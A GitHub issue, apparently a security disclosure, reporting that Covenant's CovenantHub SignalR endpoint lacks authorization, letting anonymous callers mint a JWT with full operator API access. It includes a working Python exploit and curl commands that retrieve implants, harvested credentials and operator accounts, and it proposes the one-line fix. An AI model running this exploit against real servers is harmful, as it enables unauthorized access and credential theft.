cobbr / cobbr/Covenant

Unauthenticated SignalR hub (CovenantHub) allows anonymous listener creation and leaks a valid JWT that grants full operator API access

Open
#406 3 comments 2 reactions 1 assignee Claimed by @cobbr View on GitHub
Dominant language
C#
Stars
4.7k
Forks
822
PR merge metrics
No merged PRs in 30d

Description

### Summary
The SignalR hub `CovenantHub`, mapped at `/covenanthub`, is registered without an `[Authorize]` attribute. Every other hub in the project (`GruntHub`, `EventHub`, `GruntTaskingHub`, `GruntCommandHub`, `CommandOutputHub`) carries `[Authorize]`. In ASP.NET Core, SignalR hub method invocation is NOT covered by the MVC global authorization policy or by `app.UseAuthorization()`; a hub is only protected if it carries its own `[Authorize]` attribute. Because `CovenantHub` has none, any unauthenticated network party who can reach the Covenant web interface can connect to `/covenanthub` and invoke its live method `CreateHttpListener`.

`CreateHttpListener` mints a brand new backing `CovenantUser`, assigns it the `Listener` role, generates a JWT signed with the server signing key, and returns that JWT to the caller as `listener.CovenantToken`. The returned token is a fully valid bearer token. All of Covenant's REST API controllers are gated only by the policy `RequireJwtBearer`, which requires any authenticated JWT and no specific role. As a result the leaked token authenticates against the entire operator API: grunts (active implants), harvested credentials, launchers (implant binaries), download events (exfiltrated files), the operator roster, listeners, and grunt tasks. This is a complete unauthenticated compromise of the C2 server's data plane.

### Details
Hub registration, `Covenant/Startup.cs` lines 236 to 238:

```csharp
endpoints.MapHub("/grunthub");
endpoints.MapHub("/eventhub");
endpoints.MapHub("/covenanthub");
```

`Covenant/Hubs/CovenantHub.cs` line 27, no attribute (contrast with `GruntHub.cs` line 22 which has `[Authorize]`):

```csharp
namespace Covenant.Hubs
{
public class CovenantHub : Hub // <-- NO [Authorize]
{
private readonly ICovenantService _service;
...
public Task CreateHttpListener(HttpListener listener) // line 162, live/uncommented
{
return _service.CreateHttpListener(listener);
}
```

Sibling hubs, all explicitly authorized, e.g. `Covenant/Hubs/GruntHub.cs`:

```csharp
[Authorize]
public class GruntHub : Hub
```

The reachable service method, `Covenant/Core/CovenantService.cs` `CreateHttpListener` (lines 3950 to 3987), creates a Listener-role user and a signed JWT and returns it on the listener object:

```csharp
CovenantUser listenerUser = await this.CreateUser(new CovenantUserLogin { ... });
IdentityRole listenerRole = await this.GetRoleByName("Listener");
await this.CreateUserRole(listenerUser.Id, listenerRole.Id);
listener.CovenantToken = Utilities.GenerateJwtToken(
listenerUser.UserName, listenerUser.Id, new[] { listenerRole.Name },
_configuration["JwtKey"], _configuration["JwtIssuer"],
_configuration["JwtAudience"], "2000"); // 2000-day expiry
...
return await this.GetHttpListener(listener.Id); // returns object incl. CovenantToken
```

The API authorization policy, `Covenant/Startup.cs` lines 124 to 127, requires only an authenticated JWT bearer with no role:

```csharp
options.AddPolicy("RequireJwtBearer", new AuthorizationPolicyBuilder()
.RequireAuthenticatedUser()
.AddAuthenticationSchemes("JwtBearer")
.Build());
```

Every API controller is decorated with `[Authorize(Policy = "RequireJwtBearer")]` (e.g. `GruntApiController.cs` line 17, `CredentialApiController.cs`, `CovenantUserApiController.cs`, `LauncherApiController.cs`). The Listener-role token therefore passes all of them.

Note the asymmetry that confirms intent: the REST equivalent `POST /api/listeners/http` lives in `ListenerApiController` and IS protected by the controller-level `RequireJwtBearer`. Only the SignalR path was left open.

### PoC
Tested live against a freshly built container (repo Dockerfile) bound to `https://127.0.0.1:7443`. No user was registered; the database was empty. The hub call still succeeded.

Contrast (one protected, one not):
```
$ curl -sk -X POST "https://127.0.0.1:7443/grunthub/negotiate?negotiateVersion=1" -o /dev/null -w "%{http_code}\n"
302 # blocked (redirect to login)
$ curl -sk -X POST "https://127.0.0.1:7443/covenanthub/negotiate?negotiateVersion=1" -o /dev/null -w "%{http_code}\n"
200 # open
```

Full exploit (Python, requires `websocket-client`):
```python
import json, ssl, urllib.request, websocket
RS = "\x1e"
base = "https://127.0.0.1:7443"
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE

# 1) Unauthenticated negotiate on /covenanthub
req = urllib.request.Request(base+"/covenanthub/negotiate?negotiateVersion=1", method="POST", data=b"")
token = json.load(urllib.request.urlopen(req, context=ctx))["connectionToken"]

# 2) Open websocket, NO Authorization header
ws = websocket.create_connection("wss://127.0.0.1:7443/covenanthub?id="+token,
sslopt={"cert_reqs": ssl.CERT_NONE})
ws.send(json.dumps({"protocol":"json","version":1})+RS); ws.recv()

# 3) Invoke CreateHttpListener (anonymous)
listener = {"name":"pwn","listenerTypeId":1,"profileId":1,"status":"uninitialized",
"bindAddress":"0.0.0.0","bindPort":8123,"connectAddresses":["127.0.0.1"],
"connectPort":8123,"useSSL":False}
ws.send(json.dumps({"type":1,"invocationId":"1","target":"CreateHttpListener",
"arguments":[listener]})+RS)
for _ in range(5):
for part in ws.recv().split(RS):
if not part.strip(): continue
m = json.loads(part)
if m.get("invocationId")=="1" and m.get("type")==3:
print("CovenantToken:", m["result"]["covenantToken"]); ws.close(); raise SystemExit
```

Observed result (real run):
```
CovenantToken: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...role":"Listener"...exp:1954841874...
```

Use the leaked token against the protected API:
```
$ TOKEN=
$ curl -sk https://127.0.0.1:7443/api/grunts -o /dev/null -w "%{http_code}\n" # no token
401
$ curl -sk https://127.0.0.1:7443/api/grunts -H "Authorization: Bearer $TOKEN" -o /dev/null -w "%{http_code}\n"
200
$ curl -sk https://127.0.0.1:7443/api/credentials -H "Authorization: Bearer $TOKEN" -o /dev/null -w "%{http_code}\n"
200
$ curl -sk https://127.0.0.1:7443/api/users -H "Authorization: Bearer $TOKEN" -o /dev/null -w "%{http_code}\n"
200
$ curl -sk https://127.0.0.1:7443/api/launchers/binary -H "Authorization: Bearer $TOKEN" -o /dev/null -w "%{http_code}\n"
200
$ curl -sk https://127.0.0.1:7443/api/downloadevents -H "Authorization: Bearer $TOKEN" -o /dev/null -w "%{http_code}\n"
200
```

`/api/users` returns the operator roster (including security stamps), `/api/grunts` lists every active implant, `/api/credentials` returns all harvested credentials, `/api/downloadevents` exposes exfiltrated files, `/api/launchers/binary` exposes implant binaries.

### Impact
Unauthenticated, remote, no user interaction. Any party able to reach the Covenant web port can:
1. Anonymously connect to `/covenanthub` and call `CreateHttpListener` (also create rogue listeners / bind ports on the C2 host).
2. Receive a valid, server-signed JWT (2000-day expiry) carrying the `Listener` role.
3. Use that token to read and act across the entire operator REST API: active implant sessions, harvested credentials, exfiltrated downloads, operator accounts, launchers, and grunt tasks.

This is a full unauthenticated compromise of the C2 server's data plane (confidentiality, integrity, and availability of the operation), driven solely by a missing `[Authorize]` attribute on one hub. The five sibling hubs already carry the attribute, so the fix is a one-line addition.

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.